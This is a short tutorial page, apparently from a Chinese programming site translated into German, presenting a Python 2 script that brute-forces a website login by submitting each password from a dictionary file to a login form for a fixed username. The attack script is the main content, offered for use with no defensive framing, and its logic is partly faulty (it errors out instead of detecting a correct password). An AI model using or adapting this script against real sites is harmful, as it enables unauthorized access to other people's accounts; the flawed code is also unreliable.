Heim >Backend-Entwicklung >Python-Tutorial >Passwort-Brute-Force-Cracking mit Python

Passwort-Brute-Force-Cracking mit Python

高洛峰
高洛峰Original
2016-10-18 10:31:303188Durchsuche

Laut Wörterbuchdatei verwenden Sie Python, um Brute-Force-Cracking durchzuführen. Das Verfahren ist sehr einfach.

Hinweis: Für den Fall, dass kein Bestätigungscode vorhanden ist.

Beispielcode:

#encoding=utf-8
import httplib,urllib
conn = httplib.HTTPConnection("www.xxx.cn")
f=open("dict.txt")
while 1:
    pwd=f.readline().strip()
    if not pwd:
        print '字典已比对完。'
        break
    params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
    conn.request("GET", "/login/aaa.asp", params, headers)
    r = conn.getresponse()
    print r.status, r.reason
    data1 = r.read().decode('gbk')#编码根据实际情况酌情处理
    print data1.index(u'您输入的密码有误'),'您输入的密码\'%s\'有误'%pwd
conn.close()


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn